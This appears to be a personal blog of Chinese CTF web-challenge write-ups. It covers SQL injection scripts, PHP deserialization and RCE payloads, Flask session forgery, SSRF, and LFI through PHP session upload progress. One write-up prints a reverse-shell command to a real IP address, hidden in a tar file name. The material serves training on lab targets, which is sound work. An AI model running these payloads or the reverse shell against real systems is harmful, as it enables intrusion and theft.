web每日一练

每日一题

每天一题罢了。。

ctfshow内部赛签到

扫到备份文件

login.php

<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){echo "<script>alert('bad hacker!')</script>";die();   }
else{return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);if($row){ $_SESSION['u']=$row['username'];header('location:user.php');}else {echo "<script>alert('Wrong username or password')</script>";}
}
}
?>

register.php

<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){echo "<script>alert('bad hacker!')</script>";die();   }
else{return true;
}
}include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1 set email = '$e',username = '$u',password = '$p'";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>

user.php

<html>
<body background="bg2.jpg">
</body>
</html>
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];if (is_numeric($username)){	if(strlen($username)>10) {$username=substr($username,0,10);}echo "Hello $username,there's nothing here but dog food!";}else{echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

通过注册界面的union select

$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"

构造sql语句

insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'

脚本

import requests
import reurl1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"print(payload)s = requests.session()data1 = {'e': str(i + 30) + "',username=" + payload,'u': "*/#",'p': i + 30}# print(data1['e'])r1 = s.post(url1, data=data1)data2 = {'e': i + 30,'p': i + 30}r2 = s.post(url2, data=data2)t = r2.textreal = re.findall("Hello (.*?),", t)[0]flag += realprint(flag)

image-20240715172712301

image-20240715172731195

ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}

web15 Fishman

扫到备份文件

image-20240715192511338

member.php中发现漏洞点

image-20240715192603206

当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。

# encoding=utf-8
import requestsurl = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/"def tamper(payload):payload = payload.lower()payload = payload.replace('u', '\\u0075')payload = payload.replace('\'', '\\u0027')payload = payload.replace('o', '\\u006f')payload = payload.replace('i', '\\u0069')payload = payload.replace('"', '\\u0022')payload = payload.replace(' ', '\\u0020')payload = payload.replace('s', '\\u0073')payload = payload.replace('#', '\\u0023')payload = payload.replace('>', '\\u003e')payload = payload.replace('<', '\\u003c')payload = payload.replace('-', '\\u002d')payload = payload.replace('=', '\\u003d')payload = payload.replace('f1a9', 'F1a9')payload = payload.replace('f1', 'F1')return payload# get database length
def databaseName_len():print("start get database name length...")for l in range(0, 45):payload = "1' or (length(database())=" + str(l + 1) + ")#"payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r = requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 1)):print('get db length = ' + str(l).lower())break# get content
def get_databaseName():flag = ''for j in range(0, 15):for c in range(0x20, 0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"# print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r = requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('databasename = ' + flag.lower())break# get content
def get_tableName():flag = ''for j in range(0, 30):  # blind injectfor c in range(0x20, 0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"# print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r = requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('tablename = ' + flag.lower())break# get content
def get_ColumnName():flag = ''for j in range(0, 10):  # blind injectfor c in range(0x20, 0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"# print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r = requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('column name = ' + flag.lower())break# get content
def get_value():flag = ''for j in range(0, 50):  # blind injectfor c in range(0x20, 0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"# print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r = requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('flag = ' + flag.lower())breakprint("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

image-20240715204411268

[CISCN 2023 华北]ez_date

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{public $a;public $b;public $file;public function __wakeup(){if(is_array($this->a)||is_array($this->b)){die('no array');}if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){$content=date($this->file);$uuid=uniqid().'.txt';file_put_contents($uuid,$content);$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));echo file_get_contents($data);}else{die();}}
}unserialize(base64_decode($_GET['code']));

在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码

if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

测试代码

<?php
if (sha1(12) === sha1('12') && md5(1) === md5('1')){echo '===';
}
else{echo '!=';
}
?>

image-20240717091858101

正则

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

还有两个点

  • date函数可以转义

  • file_put_contents() 是 PHP 中的一个内置函数,用于写入数据到一个文件,或者创建一个新的文件。可以一次写入全部内容,而不需要打开、写入和关闭文件的多个步骤。

    file_put_contents($uuid,$content);
    
    • $uuid 参数会被用作文件名。例如,如果 $uuid 的值是 'abc123',那么数据就会被写入到名为 'abc123' 的文件中。
    • $content 参数是你想要写入文件的数据。它可以是任何可以被转换为字符串的内容。

因此得到最终payload

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{public $a;public $b;public $file;public function __wakeup(){if(is_array($this->a)||is_array($this->b)){die('no array');}if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){$content=date($this->file);$uuid=uniqid().'.txt';file_put_contents($uuid,$content);$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));echo file_get_contents($data);}else{die();}}
}$yiyi = new date();
$yiyi -> a = 1;
$yiyi -> b = '1';
$yiyi -> file = '/f\l\a\g';echo base64_encode(serialize($yiyi));

image-20240717092802571

[CISCN 2023 华北]pysym

随便传一个看看

image-20240717093053044

查看源码

from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():if 'file' not in request.files:return 'No file uploaded.'file = request.files['file']if file.content_length > 10240:return 'file too lager'path = ''.join(random.choices(string.hexdigits, k=16))directory = os.path.join(app.config['UPLOAD_FOLDER'], path)os.makedirs(directory, mode=0o755, exist_ok=True)savepath=os.path.join(directory, file.filename)file.save(savepath)try:os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))except:return 'something wrong in extracting'links = []for root, dirs, files in os.walk(directory):for name in files:extractedfile =os.path.join(root, name)if os.path.islink(extractedfile):os.remove(extractedfile)return 'no symlink'if  os.path.isdir(path) :return 'no directory'links.append(extractedfile)return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)if not os.path.isfile(filepath):return '404', 404return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':app.run(host='0.0.0.0',port=1337)

上传tar

image-20240717094033026

根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制

def POST():if 'file' not in request.files:return 'No file uploaded.'file = request.files['file']if file.content_length > 10240:return 'file too lager'path = ''.join(random.choices(string.hexdigits, k=16))directory = os.path.join(app.config['UPLOAD_FOLDER'], path)os.makedirs(directory, mode=0o755, exist_ok=True)savepath=os.path.join(directory, file.filename)file.save(savepath)try:os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))except:return 'something wrong in extracting'

我们可以根据这个特性进行RCE

image-20240717095108731

没有回显,考虑反弹shell

image-20240717105730290

image-20240717110137582

bash >& /dev/tcp/101.37.27.18/4444 0>&1
test.tar || echo  YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||

image-20240717110054704

[CISCN 2019华东南]Web4

文件读取

image-20240717110852604

尝试读取/etc/passwd

image-20240717110935262

尝试读取flag文件

image-20240717111006796

常见linux配置文件

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

查看当前进程对应的终端命令

image-20240717111305488

直接读

image-20240717111345242

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! Read somethings'@app.route('/read')
def read():try:url = request.args.get('url')if re.search('^file.*|flag', url, re.IGNORECASE):return 'No Hack'with urllib.request.urlopen(url) as res:return res.read().decode('utf-8')except Exception as ex:print(str(ex))return 'no response'@app.route('/flag')
def flag():if session.get('username') == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__ == '__main__':app.run(debug=True, host="0.0.0.0")

经典session伪造

image-20240717111948701

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810

分为三个部分

第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名

image-20240717112310264

{"username":{" b":"d3d3LWRhdGE="}}
{"username":{" b":"www-data"}}

读mac地址

image-20240717113214241

import random
random.seed(0x0242ac02521c)
print(str(random.random()*233))

python2运行

┌──(root㉿kali)-[~/yiyi]
└─# python2 test.py 
38.8837558332

这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2

image-20240717123413345

拉到flask_session_cookie_manager3.py跑

C:\Users\31702\Desktop\yiyi\CTF\web\FLASK框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg

替换后获得flag

image-20240717122643018

附:Flask Session Cookie 管理器使用指南

使用说明

  • 使用 flask_session_cookie_manager3.py 与 Python 3,flask_session_cookie_manager2.py 与 Python 2。

使用方法:

flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie 解码/编码工具

位置参数:

  • {encode,decode}: 子命令帮助
    • encode: 编码
    • decode: 解码

可选参数:

  • -h--help: 显示帮助信息并退出

编码

flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -t <string>--cookie-structure <string>: Session Cookie 结构

解码

flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -c <string>--cookie-value <string>: Session Cookie 值

示例

编码

$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

注意: Session Cookie 结构必须是一个有效的 Python 字典

解码

使用密钥:

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

不使用密钥 (输出格式较差):

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

[FSCTF 2023]签到plus

dirsearch扫到shell.php,访问发现是php info

image-20240717135734930

PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客

关闭bp的Content-Length功能

image-20240717140053098

请求包只留这几句即可

image-20240717140347431

保存至txt查看

HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28393
Date: Wed, 17 Jul 2024 06:03:28 GMT
Connection: close
Content-Length: 443<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽🦐'])) {eval($😭($_GET['👽🦐']));
};?>

直接命令执行即可

image-20240717140821697

image-20240717140853901

[HNCTF 2022 Week1]Challenge__rce

get传参hint得到源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {$rce = $_POST['rce'];if (strlen($rce) <= 120) {if (is_string($rce)) {if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {eval($rce);} else {echo("Are you hack me?");}} else {echo "I want string!";}} else {echo "too long!";}
}

一道无参RCE,发现|和^被过滤,不能用异或

查看所有未被过滤的字符

import reregex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]"printable_chars = range(32, 127)for char in printable_chars:if not re.search(regex, chr(char)):print(chr(char), end=" ")

image-20240717141939712

考虑使用自增

首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

$_=[].'';
print_r($_); //Array

基础语法

<?php
@$_ = [].'';//Array
$_ = $_[0];//A
$___= '_';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//O
$___ = $_;//O
$_++;//P
$__=$_;//P
$__.=$___;//PO
$_++;$_++;$_++;
$__.=$_;//POS
$_++;
$__.=$_;//POST
echo $__;$$__['_']($$__['__']);
//${$__}最终解析为$_POST
//['_']和['__']是传入的值rce = $_=%5B%5D.'';$_%20=%20$_%5B0%5D;$___=%20'_';$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___%20=%20$_;$_++;$__=$_;$__.=$___;$_++;$_++;$_++;$__.=$_;$_++;$__.=$_;echo%20$__;$$__%5B'_'%5D($$__%5B'__'%5D);&_=system&__=ls
//过一遍url编码,并传入system和ls两个参数
?>

image-20240717150716468

得尝试缩减,使用CHr

image-20240717151653606

<?php
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接 让$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])

url编码

image-20240717152317171

然后就。。。

image-20240717152446580

image-20240717152503567

[CISCN 2023 西南]do_you_like_read

解法一:

image-20240718092743965

发现存在后面并且有与之对应的动态链接库文件

image-20240718092819389

对着后门文件改路径即可

image-20240718093332120/var/www目录无回显可以考虑app目录

http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

image-20240718093403071

解法二:

将php等后缀改成jpg结尾

image-20240718093739882

image-20240718093830548

根据源码中的路径直接尝试访问webshell

image-20240718093950170

image-20240718094058734

image-20240718094128030

解法三:

发现可能存在sql注入的漏洞点

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

直接跑sqlmap

image-20240718094549834

–os-shell直接看环境变量即可

image-20240718094644388

[强网杯 2019]随便注

联合查询的时候发现存在过滤

image-20240718102729369

  • 绕过姿势1:十六进制编码绕过
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
  • 绕过姿势2:使用handler函数替换
-- 打开一个表的handler
HANDLER table_name OPEN;-- 读取下一个索引条目
HANDLER table_name READ NEXT;-- 关闭handler
HANDLER table_name CLOSE;

payload

1';handler `1919810931114514` open;handler `1919810931114514` read next;

[鹤城杯 2021]EasyP

源码

<?php
include 'utils.php';if (isset($_POST['guess'])) {$guess = (string) $_POST['guess'];if ($guess === $secret) {$message = 'Congratulations! The flag is: ' . $flag;} else {$message = 'Wrong. Try Again';}
}if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("hacker :)");
}if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){exit("hacker :)");
}if (isset($_GET['show_source'])) {highlight_file(basename($_SERVER['PHP_SELF']));exit();
}else{show_source(__FILE__);
}
?> 

包含utils.php文件,尝试请求

但是有waf

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {exit("hacker :)");
}

使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

%a0的作用解析参考别的师傅

image-20240718111306192

因此构造出payload

/index.php/utils.php/%a0

还有一层waf

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){exit("hacker :)");
}

这个比较简单

show[source或者show.source或者show+source绕过

最终payload

/index.php/utils.php/%a0?show[source

image-20240718111508372

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

hint:环境变量 +linux字符串截取 + 通配符

fuzz一下

image-20240720135211671

f12看到提示

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

like有两个通配符%_,这里没有过滤_

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符

尝试使用通配符判断位数

image-20240720140025488

根据这个逻辑就可以逐个爆破密码了

import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php'pwd = ''
for i in range(32):print('i = '+str(i+1),end='\t')for j in a:password = pwd + j + (31 - i) * '_'data = {'username':'yu22x','password':password}r = requests.post(url,data=data,verify=False)if 'wrong' not in r.text:pwd += jprint(pwd)break

image-20240720143555477

进去后就是个命令执行

image-20240720143618297

小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下

image-20240720144324173

ls

0;${PATH:5:1}${PATH:11:1}

image-20240720144530125

没有c t,可以用nl来读取

0;${PATH:14:1}${PATH:5:1} ????.???

image-20240720144642055

web2_故人心

三五夜中新月色,二千里外故人心

存在一个robots.txt

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));if($d){highlight_file('hint.php');if(filter_var($url[1],FILTER_VALIDATE_URL)){$host=parse_url($url[1]);print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){print_r(file_get_contents($url[1]));}else{echo '差点点就成功了!';}}else{echo 'please give me url!!!';}     }else{echo '想一想md5碰撞原理吧?!';}
}else{echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

访问hint、

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

看样子是个爆破

第一关

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162

第二关

<?php
for ($i=100;$i<=999;$i++){$b = "0e".$i."024452";if($b==hash("md2", $b)){echo $b;}
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){$c = "0e".$i."48399";if($c==hash("md2",hash("md2", $c))){echo $c;}
}
//c=0e603448399

image-20240720145353847

第三关 post传参url

file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式

我们这边随便来一个yiyi协议,又因为

if(preg_match('/ctfshow\.com$/',$host['host'])){print_r(file_get_contents($url[1]));

所以可以构造如下payload

url=yiyi://ctfshow.com/../../../../../../fl0g.txt

image-20240720145905683

[NISACTF 2022]join-us

fuzz

image-20240721125727165

尝试报错注入,and被过滤

1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

用||代替and

    1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#

回显

XPATH syntax error: '~root@localhost~'

就可以编写脚本了,几个点,and过滤用||代替,columns禁用,使用join做合并,mid截取长度限制

import requestsurl = 'http://node5.anna.nssctf.cn:21164/dl.php'
def test(url):data = {'tt':"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#"}re = requests.post(url,data=data)print(re.text)
def database(url):data = {'tt':"1' || (select * from a)#"}re = requests.post(url,data=data)print(re.text)
def table(url):data = {'tt':"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#"}re = requests.post(url,data=data)print(re.text)
def column1(url):data = {'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#"#id}re = requests.post(url,data=data)print(re.text)
def column2(url):data = {'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#"#data}re = requests.post(url,data=data)print(re.text)
def flag1(url):data = {'tt':"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#"#data}re = requests.post(url,data=data)print(re.text)if __name__ == "__main__":# test(url)# database(url)# table(url)# column1(url)# column2(url)flag1(url)# NSSCTF{68f27707-1003-413e-bd2a-4f5193963b20}

[MoeCTF 2022]ezphp

变量覆盖

源码

<?phphighlight_file('source.txt');
echo "<br><br>";$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($giveme);
}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($getout);
}foreach ($_POST as $key => $value) {$$key = $value;
}foreach ($_GET as $key => $value) {$$key = $$value;
}echo 'the flag is : ' . $flag;?>

直接打

http://node5.anna.nssctf.cn:26770/?a=flag&flag=a

image-20240721133554786

[第五空间 2021]EasyCleanup

源码

<?php 
if(!isset($_GET['mode'])){ highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); 
} if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; 
} function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; 
} function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; 
} 
?>

当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); ,限制太多,想要通过 RCE 得到 flag 几乎无从下手

image-20240721134646129

于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

image-20240721135246993

利用该漏洞点需要满足

目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
